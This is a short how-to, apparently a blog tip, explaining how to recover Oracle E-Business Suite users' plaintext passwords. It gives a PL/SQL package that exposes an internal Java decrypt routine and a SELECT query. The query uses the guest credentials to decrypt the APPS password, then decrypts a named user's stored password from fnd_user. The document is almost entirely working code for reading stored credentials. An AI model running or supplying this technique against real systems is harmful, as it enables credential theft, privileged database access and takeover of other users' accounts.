How to get the Oracle Application front end User password

First create below mentioned package in database and then run the following query.

--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;

/

--Package Body

CREATE OR REPLACE PACKAGE BODY get_pwd

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) 

      RETURN java.lang.String';

   END decrypt;

END get_pwd;

/

-- After compiling the above package please run below query by passing user name.

SELECT usr.user_name,

       get_pwd.decrypt (

          (SELECT (SELECT get_pwd.decrypt (

                             fnd_web_sec.get_guest_username_pwd,

                             usertable.encrypted_foundation_password)

                     FROM DUAL)

                     AS apps_password

             FROM fnd_user usertable

            WHERE usertable.user_name =

                     (SELECT SUBSTR (

                                fnd_web_sec.get_guest_username_pwd,

                                1,

                                  INSTR (fnd_web_sec.get_guest_username_pwd,

                                         '/')

                                - 1)

                        FROM DUAL)),

          usr.encrypted_user_password)

          PASSWORD

  FROM fnd_user usr

 WHERE usr.user_name = 'GIRIDHART'; -- pass user name here